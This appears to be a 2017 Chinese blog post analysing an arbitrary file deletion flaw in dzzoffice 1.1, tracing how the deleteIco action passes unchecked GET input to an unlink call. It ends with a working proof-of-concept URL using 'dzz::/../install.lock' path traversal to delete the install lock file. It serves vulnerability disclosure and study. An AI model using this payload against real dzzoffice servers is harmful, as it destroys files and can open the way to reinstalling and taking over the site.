dzzoffice 任意文件删除漏洞分析

dzzofiice 任意文件删除漏洞

\upload\dzz\system\dzzcp.php第199行

elseif($do=='deleteIco'){
    $arr=array();
    $names=array();
    $i=0;
    $icoids=$_GET['icoids'];
    $bz=trim($_GET['bz']);
    foreach($icoids as $icoid){
        
        $return=IO::Delete($icoid);
        if(!$return['error']){
            //处理数据
            $arr['sucessicoids'][$return['icoid']]=$return['icoid'];
            $arr['msg'][$return['icoid']]='success';
            $i++;
        }else{
            $arr['msg'][$return['icoid']]=$return['error'];
        }
    }
    echo json_encode_gbk($arr);
    exit();

首先来看看$do是怎么来的
$do = empty($_GET['do'])?'':trim($_GET['do']);

只是经过了去空格的处理直接GET传入
    $icoids=$_GET['icoids'];
    $bz=trim($_GET['bz']);
这个条件中有两个变量都是直接GET传入没有什么限制

$return=IO::Delete($icoid);


这里对$icoid进行了IO类中的Delete方法处理跟进看看
function Delete($path,$realdelete=false){
        if($io=self::initIO($path))    {
                return $io->Delete($path,$realdelete);
        }
        else return false;
    }



在class_core.php文件中
class IO extends dzz_io {}



那么跟进到dzz_io类中看看
function Delete($path,$realdelete=false){
        if($io=self::initIO($path))    {
                return $io->Delete($path,$realdelete);
        }
        else return false;
    }


调用了initIO方法跟进看看(有过之前分析任意文件下载的经历这次好了很多)
protected function initIO($path){
        $bzarr=explode(':',$path);
        $allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');
        
        if(strpos($path,'dzz::')!==false){
            $classname= 'io_dzz';
        }elseif(strpos($path,'attach::')!==false){
            $classname= 'io_dzz';
        }elseif(is_numeric($bzarr[0])){
            $classname= 'io_dzz';
        }elseif(in_array($bzarr[0],$allowbz)){
            $classname= 'io_'.$bzarr[0];
        }else{
            return false;
        }
        return new $classname($path);
    }


这个方法就是对$io变量进行赋值的,反正最后的值都是$io=io_dzz
所以就变成了io_dzz->Delete
就是io_dzz类中的Delete方法

    public function Delete($icoid,$force=false){
        global $_G;
        if(strpos($icoid,'dzz::')===0){
            @unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
            return true;
        
        }elseif(strpos($icoid,'attach::')===0){
            return C::t('attachment')->delete_by_aid(intval(str_replace('attach::','',$icoid)));
        }else{
            try{
                if(!$icoarr= C::t('icos')->fetch($icoid)){
                    return array('icoid'=>$icoid,'error'=>'文件已经不存在');
                }
                if($force || $icoarr['isdelete']){
                    if(perm_check::checkperm('realdelete',$icoarr)){
                        C::t('icos')->delete_by_icoid($icoid,true);
                    }else{
                        return array('icoid'=>$icoarr['icoid'],'error'=>lang('message','no_privilege'));
                    }
                }else{
                    if(perm_check::checkperm('delete',$icoarr)){
                         C::t('icos')->update($icoid,array('isdelete'=>1,'deldateline'=>TIMESTAMP));
                         if($icoarr['type']=='folder') C::t('folder')->update($icoarr['oid'],array('isdelete'=>1,'deldateline'=>TIMESTAMP));
                    }else{
                        return array('icoid'=>$icoarr['icoid'],'error'=>lang('message','no_privilege'));
                    }
                }
                return array('icoid'=>$icoarr['icoid'],'name'=>$icoarr['name']);
            }catch(Exception $e){
                return array('error'=>$e->getMessage());
            }
        }
    }


在文件io_dzz的382到412行
下面的我都不想看了,$_G是啥我也不想管了
if(strpos($icoid,'dzz::')===0){
            @unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
            return true;
        
        }
就这样直接删了
$icoid中出现了dzz::就行了直接进行文件删除
pyload=http://127.0.0.1/dzzoffice1.1/dzzoffice1.1/index.php?mod=system&op=dzzcp&do=deleteIco&icoids[]=dzz::/../install.lock

posted @ 2017-07-31 10:47  wangshu  阅读(1180)  评论(0编辑  收藏  举报